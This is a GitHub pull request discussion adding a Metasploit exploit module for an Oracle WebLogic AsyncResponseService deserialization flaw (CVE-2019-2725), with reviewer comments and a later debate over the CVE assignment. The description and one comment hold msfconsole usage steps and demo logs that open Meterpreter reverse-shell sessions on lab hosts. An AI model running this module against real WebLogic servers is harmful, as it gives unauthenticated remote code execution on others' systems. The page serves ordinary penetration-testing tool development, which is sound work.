Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Weblogic deserialize AsyncResponseService module #11780

Merged

Conversation

acamro
Copy link
Contributor

@acamro acamro commented Apr 26, 2019

Hello again,
I've been very busy lately, however, here you have another juicy contribution.
By the way, thank you so much for the acknowledgment in the articles (y)...

Please, add this exploit module for CVE-2019-2725, CNVD-C 2019-48814, Oracle Weblogic Deserialization Vulnerability in the WLS AsyncResponseService web service component.
It was tested on Windows 7 x64 and Ubuntu 14.04.4 x64 with Oracle Weblogic Server v10.3.6 and v12.1.3

More Info:
[1] https://medium.com/@knownseczoomeye/knownsec-404-team-oracle-weblogic-deserialization-rce-vulnerability-0day-alert-90dd9a79ae93
[2] https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html
[3] https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html

Please feel free to fix or add things!!!

TODO

Fix the Unix payload to make it more generic
Add more payloads
More tests on Linux
Tests on Solaris
Documentation

DEMO

 msf exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set uripath http://192.168.192.132
 uripath => http://192.168.192.132
 msf exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set wspath /_async/AsyncResponseService
 wspath => /_async/AsyncResponseService
 msf exploit(multi/misc/weblogic_deserialize_unicastref) > set rport 7001
 rport => 7001
 msf exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set lport 8888
 lport => 8888
 msf exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set lhost 192.168.192.129
 lhost => 192.168.192.129
 msf exploit(multi/misc/weblogic_deserialize_unicastref) > exploit
 [*] Started reverse TCP handler on 192.168.192.129:8888
 [*] Generating payload...
 [*] [/_async/AsyncResponseService] Sending payload...
 [*] Sending stage (179779 bytes) to 192.168.192.132
 [*] Meterpreter session 2 opened (192.168.192.129:8888 -> 192.168.192.132:53854) at 2019-04-25 16:49:49 -0700

 meterpreter > sysinfo
 Computer        : GIOTTO-HS-W7
 OS              : Windows 7 (Build 7600).
 Architecture    : x64
 System Language : en_US
 Domain          : WORKGROUP
 Logged On Users : 2
 Meterpreter     : x86/windows

Verification

  • Start msfconsole
  • use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
  • set uripath
  • set wspath
  • set rport
  • set lhost
  • set lport
  • exploit
  • sessions -i 1
  • Enjoy!!!

Co-Authored-By: acamro <acamro@users.noreply.github.com>
Copy link
Contributor

@wvu wvu left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A few things to update or change. Thanks for the submission!

@asoto-r7
Copy link
Contributor

asoto-r7 commented May 6, 2019

@acamro : Thanks again for the quick turnaround!

I compared your xml_encode method to your newer commit's shell_payload.encode(xml: :text) technique. There are definitely differences, the latter seems more efficient and just as reliable, so good change!

I went ahead and wrote docs, added a check method (from which I'd love feedback), and addressed some of @wvu-r7's stylistic comments. I also strengthened some exception handling based on my testing to deal with failed exploit attempts. Lastly, I removed some whitespace in the XML strings for maximum speed! 😃

I've tested this against Ubuntu and Win10 on WebLogic v10.3.6, as well as against a seemingly non-vulnerable WebLogic 12c (12.2.1.2). Throwing this against the latter doesn't seem to cause any adverse affects.

Getting ready to land this PR. 👍

@asoto-r7
Copy link
Contributor

asoto-r7 commented May 6, 2019

Sanity testing failed because of a VM / infrastructure failure, not because of anything in the module:

testlog:[2019-05-06 20:27:24.574657] PROCESSING: Sanity_Win2016x64
testlog:[2019-05-06 20:27:24.574761] DID NOT FIND VM: Sanity_Win2016x64 ON 10.17.4.6
testlog:[2019-05-06 20:27:24.574833] RESETTING VM Sanity_APT_MSF_HOST
testlog:[2019-05-06 20:27:24.574893] NO TEMP SNAPSHOT FOUND FOR Sanity_APT_MSF_HOST
testlog:[2019-05-06 20:27:24.574958] RESETTING VM Sanity_Win2016x64
testlog:[2019-05-06 20:27:24.575014] NO TEMP SNAPSHOT FOUND FOR Sanity_Win2016x64
testlog:[2019-05-06 20:27:24.575067] THERE WAS A PROBLEM RESETTING VMS
testlog:[2019-05-06 20:27:24.575120] WAITING FOR ALL TASKS TO COMPLETE
testlog:[2019-05-06 20:27:29.580310] TEST FAILED

@asoto-r7 asoto-r7 merged commit aed8781 into rapid7:master May 6, 2019
@asoto-r7
Copy link
Contributor

asoto-r7 commented May 6, 2019

Release Notes

exploit/multi/misc/weblogic_deserialize_asyncresponseservice exploits an XML deserialization vulnerability (CVE-2019-2725 aka CNVD-C 2019-48814) in Oracle WebLogic via the AsyncResponseService component. The exploit provides an unauthenticated attacker with remote arbitrary command execution.

@wvu
Copy link
Contributor

wvu commented May 7, 2019

Great work!!

@ccondon-r7
Copy link
Contributor

Agreed :) Thanks, all.

@wchen-r7
Copy link
Contributor

I was working on a bug for Oracle Application Testing Suite and I noticed this also works against its WebLogic service, except this is on port 8088 by default. Just wanted to share for whoever is attacking Oracle services:

msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > run

[*] Started reverse TCP handler on 172.16.135.1:4444 
[*] Generating payload...
[*] Powershell command length: 2309
[*] Sending payload...
[*] Sending stage (179779 bytes) to 172.16.135.128
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.128:49211) at 2019-05-19 00:30:29 -0500

meterpreter > 

@wvu
Copy link
Contributor

wvu commented May 19, 2019

Don't forget to sleep!

register_options(
[
Opt::RPORT(7001),
OptString.new('URIPATH', [false, 'URL to the weblogic instance (leave blank to substitute RHOSTS)', nil]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It looks like I neglected to review this entire PR yet approved it. @wchen-r7 noticed that these options appear wrong. URIPATH does not appear to be used anywhere, being an HttpServer option, and WSPATH should be TARGETURI.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A question has also been raised regarding the validity of the CVE reference. #11835

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ah. So I'm actually in the middle ore reviewing the vulnerability, I can update the module (for the CVE and the datastore options) later. Thank you guys.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes, please.

wvu-r7 approved these changes 20 days ago

When I approved the changes, I was approving only the metadata I reviewed. Apologies for the misunderstanding.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oh, sorry, it's my fault, a little bit confused with this, this is not intentional, of course.
At this moment, I start testing and solve the problem of the payload...
In a couple of hours, I'll be giving updates of the matter.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@acamro To be honest, I'm not so confident about the CVE update to CVE-2017-10271. There are other CVE-2019-2725 PoCs that look very similar to yours. Exactly what's the difference between these two? Do you know?

Copy link
Contributor Author

@acamro acamro May 20, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm verifying and could be the payload to exploit, WebLogic and Java have some blacklisted types that mitigate some payloads, in this case, I shouldn't have used a ProcessBuilder datatype, the real problem was simply a lack of testing (patched versions).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants